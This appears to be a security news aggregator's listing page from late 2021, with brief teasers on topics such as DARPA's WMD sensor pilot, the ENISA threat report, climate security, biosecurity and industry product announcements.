11/3/21 WMD Enable IntenseDebate Comments:  Enable IntenseDebate Comments DARPA’s SIGMA+ program, in collaboration with the Indianapolis Metropolitan Police Department (IMPD), recently concluded a three-month-long pilot study with new sensors intended to support early detection and interdictions of weapons of mass destruction (WMD) threats. read more

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WatchGuard announces Wi-Fi in WatchGuard Cloud

WatchGuard Technologies announced Wi-Fi in WatchGuard Cloud, along with a new lineup of Wi-Fi 6-enabled access points (APs). The addition of Wi-Fi in WatchGuard Cloud provides cross-platform integration and centralised management of all WatchGuard products. “The MSP market continues to grow at an accelerated pace,...

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Suprema integrates biometric access control with Genetec

Suprema announced the successful integration of its biometric access control products with Genetec Security Center, a unified security platform that connects security systems, sensors, and data in a single intuitive interface. Through this integration, Genetec Synergis (the access control system of Security Center) can...

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Big interview – Suzanna Alsayed

Security News Desk catches up with IFSEC Global’s #2 Top Influencer in Security & Fire, Suzanna Alsayed, Founder of security rebranding agency, Evolutz. Suzanna Alsayed is an emergency management and security specialist in Toronto, Canada. Suzanna was named #2 in the IFSEC Global “Top Influencers in Security & Fire” 2020...

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Developments in four-factor authentication systems

The multi-factor authentication (MFA) market is expected to gain momentum as a result of ongoing trend of BYOD and work-from-home. Over the past few years, there have been heightened concerns over securing sensitive data possessed by companies and businesses. Organisations are encouraging employees to...

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Hackers-for-Hire Drive Evolution of Threat Landscape

11/1/21 Cybersecurity Enable IntenseDebate Comments:  Enable IntenseDebate Comments The ENISA Threat Landscape 2021 (ETL) report is the annual report of the EU Agency for Cybersecurity, ENISA, on the state of the cybersecurity threat landscape. The 9th edition covers a period of reporting starting from April 2020 up...

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Is Russia Using Energy as a Weapon Again?

11/1/21 Energy Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments Europe is experiencing energy turmoil, with spot prices for natural gas surging in the past month to levels five times those of a year ago. Some analysts see Russia as the villain in this new...

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Using Overpasses as Shelter from Tornado Is Unsafe

11/1/21 Tornados Enable IntenseDebate Comments:  Enable IntenseDebate Comments Meteorologists and emergency workers continue to contest the popular thinking that waiting out a tornado under an overpass is safe. According to the National Weather Service, doing so could actually increase the risk of death, in...

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DHS Strategic Framework for Addressing Climate Change

11/1/21 Climate & Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments Two weeks ago, the Biden administration released four reports — by DHS, the intelligence community, the Department of Defense, and the National Security Council — on the damage climate change has already done to...

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Extreme Events and Major Impacts

11/1/21 2021 State of Climate Enable IntenseDebate Comments:  Enable IntenseDebate Comments Record atmospheric greenhouse gas concentrations and associated accumulated heat have propelled the planet into uncharted territory, with far-reaching repercussions for current and future generations, according to the World Meteorological Organization (WMO). read more

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Chinese Military to Surpass US, Russia | Encryption and Online Safety | No Time to Die, and more

10/29/21 Our Picks Enable IntenseDebate Comments:  U.S. Lawmakers Vote to Tighten Restrictions on Huawei, ZTE  (Reuters / VOA News) The U.S. Senate voted unanimously on Thursday to approve legislation to prevent companies that are deemed security threats, such as Huawei Technologies Co. Ltd. or ZTE Corp., from receiving new equipment licenses from U.S. regulators. read

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Managing Water Resources in a Low-to-No-Snow Future

10/29/21 Water Security Enable IntenseDebate Comments:  Enable IntenseDebate Comments Mountain snowpacks around the world are on the decline, and if the planet continues to warm, climate models forecast that snowpacks could shrink dramatically and possibly even disappear altogether on certain mountains, including in the western...

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Commercial and Military Applications for Quantum Technology

10/29/21 Quantum Technology Enable IntenseDebate Comments:  Enable IntenseDebate Comments A new report from the Rand Corporation provides an overview of the current state of quantum technology and its potential commercial and military applications. The author, Edward Parker, an associate physical scientist at RAND, discusses...

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Promise and Peril: Dual-Use Research in the Life Sciences

10/29/21 Biosecurity Enable IntenseDebate Comments:  Enable IntenseDebate Comments Advances in the life sciences and technology are making important contributions to improving global health. New scientific insights that are translated into technologies which are assimilated by innovative processes to play a crucial role in advancing...

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Improving Safety in Labs Dealing with Lethal Viruses

10/29/21 Biosecurity Enable IntenseDebate Comments:  Enable IntenseDebate Comments A project aimed at improving biosafety and biosecurity practices in high-risk laboratories working on dangerous pathogens will be led by Dr. Filippa Lentzos, Co-Director of the Centre for Science and Security Studies (CSSS) in the Department...

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Official Reject Claims of Terrorists Infiltrating U.S. From Mexico

10/29/21 Border Security Enable IntenseDebate Comments:  Fears the Taliban takeover of Afghanistan could reinvigorate terror groups like al-Qaida and Islamic State, and lead to a surge of attempted infiltrations along the southern U.S. border have not been realized, a top counterterrorism official said, dismissing claims to the contrary as “factually inaccurate.” For months, mostly Republican

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StorCentric and Robin.io announce Cloud-Native Solutions

Robin.io and StorCentric announced the general availability (GA) of hyperconverged cloud-native solutions that simplify and accelerate channel solution providers’ and end users’ journey to the private cloud. The joint offerings allow the Robin Cloud Native Platform (CNP) to be coupled with StorCentric’s Nexsan Unity...

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FCC Revokes China’s Telecom Rights to Operate in U.S.

10/2/21 China Watch Enable IntenseDebate Comments:  Enable IntenseDebate Comments The Federal Communications Commission (FCC) announced Tuesday that it was ending China Telecom (Americas) Corporation’s  ability to provide domestic interstate and international telecommunications services within the United States.  The Order on Revocation and Termination directs...

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Climate “Chain Reactions” Feared

10/27/21 Coastal Challenges Enable IntenseDebate Comments:  Enable IntenseDebate Comments Climate hazards such as extreme heat, drought and storms could trigger “cascading impacts” that may be felt around the world within the next decade, warns a study released ahead of the UN climate summit, COP26. read more

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How Climate Change Contributes to Global Violence

10/27/21 Climate & Violence Enable IntenseDebate Comments:  Enable IntenseDebate Comments On 1 November, the much-anticipated United Nations summit on Climate Change, known as COP26, is set to take place in Glasgow, Scotland. Its goal is to devise a global strategy on cutting emissions to...

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The SmartWater Group acquires Tag Security Holdings

The SmartWater Group is pleased to announce the acquisition of Tag Security Holdings (TSH), supported by its primary investment partner, Freshstream. The acquisition is The SmartWater Group’s first following Freshstream’s investment in March 2021, which allowed the Group to target new sectors and to develop...

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Protecting Hardware from Software Attacks

10/23/21 Hardware Protection Enable IntenseDebate Comments:  Enable IntenseDebate Comments DARPA’s System Security Integration Through Hardware and firmware (SSITH) program is exploring hardware security architectures and tools that protect electronic systems against common classes of hardware vulnerabilities exploited through software, with the goal of breaking the endless...

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Criticism Mount of U.K. Counter-Extremism Programs

10/23/21 Extremism Enable IntenseDebate Comments:  Enable IntenseDebate Comments There is a “fundamental mismatch” between the threat posed by Islamist terrorism and the attention afforded to it by Prevent, the U.K. government’s counter-extremism program, according to a think tank report. read more

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Extreme Rain Heads for California’s Burn Scars, Raising the Risk of Mudslides – This Is What Cascading Climate Disasters Look Like

10/22/21 Disasters Enable IntenseDebate Comments:  Enable IntenseDebate Comments Two powerful storm systems known as atmospheric rivers are heading for northern California and Oregon, a region in the midst of an historic drought. While the storms will bring much-needed water to a parched region and should significantly lower...

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The Drivers of Invention of Military Technologies

10/22/21 Military Technology Enable IntenseDebate Comments:  Enable IntenseDebate Comments Complexity Science Hub Vienna (CSH) team leader Peter Turchin and an interdisciplinary team of colleagues, including Jenny Reddish, set out to test competing theories about what drove the evolution of war machines throughout world history. read more

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FBI Works to Increase Hate Crimes Awareness

10/22/21 Hate Crimes Enable IntenseDebate Comments:  Enable IntenseDebate Comments In a courtroom in Brunswick, Georgia, three white men face murder and hate crime charges in the killing of Ahmaud Arbery, an African American man who was confronted and shot while jogging in 2020. Last...

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